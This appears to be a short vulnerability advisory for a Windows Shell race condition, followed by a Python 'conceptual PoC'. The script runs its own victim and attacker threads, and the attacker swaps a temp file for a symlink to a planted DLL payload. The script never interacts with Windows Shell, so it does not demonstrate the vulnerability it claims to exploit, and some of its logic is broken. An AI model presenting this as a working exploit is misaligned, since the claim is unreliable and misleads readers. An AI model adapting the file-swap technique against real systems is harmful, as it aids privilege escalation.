Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Shell allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
import threading
import os
import time
# Conceptual PoC for Race Condition in Windows Shell
# This script simulates a TOCTOU (Time-of-check to time-of-use) attack
class Exploit:
def __init__(self):
self.stop_flag = False
self.target_file = "C:\\Windows\\Temp\\shared_config.dat"
self.payload_file = "C:\\Users\\Public\\evil_payload.dll"
def victim_process(self):
"""Simulates the legitimate Windows Shell operation."""
while not self.stop_flag:
try:
# 1. Check: Shell checks if resource exists and is secure
if not os.path.exists(self.target_file):
print("[Shell] Resource not found, creating...")
# Simulate processing time creating the race window
time.sleep(0.005)
# 2. Use: Shell creates/writes to the resource
with open(self.target_file, 'w') as f:
f.write("Secure Configuration")
print("[Shell] Resource created safely.")
else:
time.sleep(0.01)
except Exception as e:
print(f"[Shell] Error: {e}")
def attacker_process(self):
"""Simulates the attacker exploiting the race condition."""
while not self.stop_flag:
try:
# Attempt to swap the file during the race window
if os.path.exists(self.target_file):
# Try to delete or replace before Shell locks it
os.remove(self.target_file)
# Create a symbolic link or drop a malicious file
os.symlink(self.payload_file, self.target_file)
print("[+] Exploit Success! Resource swapped with payload.")
self.stop_flag = True
except OSError:
# Expected if file is locked or not found yet, retry
pass
except Exception as e:
print(f"[-] Attack failed: {e}")
def run(self):
print("[*] Starting Race Condition Exploit...")
t1 = threading.Thread(target=self.victim_process)
t2 = threading.Thread(target=self.attacker_process)
t1.start()
t2.start()
t2.join(timeout=10) # Wait for attacker to succeed
self.stop_flag = True
if self.stop_flag:
print("[*] Exploit thread finished.")